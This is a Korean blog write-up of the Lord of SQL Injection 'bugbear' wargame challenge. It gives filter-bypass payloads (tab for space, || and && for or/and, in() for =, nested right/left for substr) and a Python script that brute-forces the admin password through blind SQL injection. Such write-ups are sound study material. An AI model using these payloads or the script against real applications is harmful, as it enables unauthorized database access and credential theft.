일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- 빡공팟 4기
- TeamH4C
- Weak Session IDs
- Remote File Inclusion
- SuNiNaTas
- sql injection
- Insecure CAPTCHA
- 써니나타스
- 정보보안
- File Upload Vulnerability
- Dremhack
- H4CKINGGAME
- DVWA
- 웹 해킹
- webhacking.kr
- Los
- Web Hacking
- XSS
- Hackerfactory
- DreamHack
- 해커팩토리
- 워게임
- 빡공팟 6기
- bypass CAPTCHA
- 드림핵
- 정보보호
- Cross Site Scripting
- DOM-Based XSS
- Lord of SQL Injection
- wargame
- Today
- Total
도카이트
[Wargame] Lord of SQL Injection - bugbear 본문
문제 화면
- preg_match 함수를 통한 필터링이 더 깐깐해졌다..
- 6행을 통해 pw 값에 대한 싱글 쿼터에 대한 필터링이 이루어지고 있으며,
- 7행에서는 no 값에 대해 싱글 쿼터와, substr, ascii, =, or, and, 공백, like, 0x 에 대한 대소문자 포함 필터링이 이루어진다.
- 그럼에도 no 값에 대해서 싱글 쿼터가 감싸져있지 않으므로, bugbear 문제도 이전 darkknight 문제와 동일하게
- no 값에 쿼리문을 삽입하여 Blind SQL Injection을 시도한다 !
URL 인코딩 문자와 in 을 이용한 필터링 우회
- 위 예제에 사용한 구문은 다음과 같다.
- pw=1&no=1%7C%7Cid%09in(”admin”)
- Tab(%09), or(%7C%7C), in (”문자열”)을 통해 공백과, or, = 에 대한 필터링을 우회하였다.
- 필터링 우회에 성공하여 Hello admin 문자열이 출력되는 모습을 확인할 수 있다.
- 이를 이용하여 추가 구문을 작성해 admin의 pw 길이 값부터 획득해보도록 한다 !
각 문자열 또는 특수문자에 대한 필터링 우회 방법의 경우 이전 LoS 풀이 포스트들에 작성된 부분들이 많다. gremlin 문제부터 차근차근 방법들이 정리되어 있으니, 참고하면 좋을 듯 하다 !!
(이번 포스팅에서는 별도 링크 첨부 X)
length(pw)를 통한 pw 길이 값 유추
- 이전 문제들과 다르게 이번 예제에서는 = 대신 부등호를 사용하여 pw 길이 값을 알아냈다.
- =와 like에 대한 필터링이 존재하므로, 필터링을 하지 않는 부등호를 이용하여 pw 길이를 유추하였다.
- 위 예제에 사용한 구문은 다음과 같다.
- pw=1&no=1%7C%7Cid%09in(”admin”)%09%26%26%09length(pw)%09>[대입 숫자]%23
- 공백이 필요한 각 자리는 Tab(%09)를 사용하고, or(%7C%7C), and(%26%26)을 사용한다.
- =와 like 를 사용하지 못하므로, 부등호를 이용하여 크기 비교를 통한 pw 길이 값을 확인한다.
- length(pw) > 7 일 경우, Hello admin을 출력하며 값이 참임을 확인할 수 있지만,
- length(pw) > 8 의 경우는 Hello admin이 출력되지 않으며 값이 거짓이 됨을 확인할 수 있다.
- 따라서 자연수 값을 갖는 pw 값이 7은 초과하지만 8을 초과하지 않으므로, pw의 길이는 8임을 알 수 있다.
los_bugbear.py 작성
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
pw = ""
for i in range(1, 9):
for j in range(33, 128):
target_url = url+'?pw=1&no=1%7C%7C%09id%09in("admin")%09%26%26%09right(left(pw,{}),1)%09in("{}")%23'.format(i,chr(j))
cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
r = requests.get(url=target_url, cookies=cookies)
if "Hello admin" in r.text:
pw += chr(j)
print(str(i)+"번째 자리 패스워드 : "+chr(j))
break
print("패스워드 : "+pw)
- admin의 pw 길이를 알았으니, pw 값을 알아내기 위해 파이썬으로 코드를 작성한다.
- 각 필터링들을 우회하여 최종적으로 admin의 pw 값을 알아낼 수 있다.
- 코드에 입력한 no 값에 대한 구문 설명은 length(pw) 예제에서 설명했으므로 생략한다 !
- 추가적으로, substr에 대한 필터링을 우회하기 위해 right와 left 함수를 중첩하여 사용하였다.
los_bugbear.py 실행 결과 및 bugbear Clear
- 8자리의 패스워드에 관한 값들을 모두 획득하였다 !
- pw 값으로 획득한 8자리 값들을 입력 시, 성공적으로 bugbear 문제를 Clear 할 수 있다 !
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
[Wargame] Lord of SQL Injection - assassin (0) | 2022.06.10 |
---|---|
[Wargame] Lord of SQL Injection - giant (0) | 2022.06.10 |
[Wargame] Lord of SQL Injection - darkknight (0) | 2022.06.09 |
[Wargame] Lord of SQL Injection - golem (0) | 2022.06.08 |
[Wargame] Lord of SQL Injection - skeleton (0) | 2022.06.08 |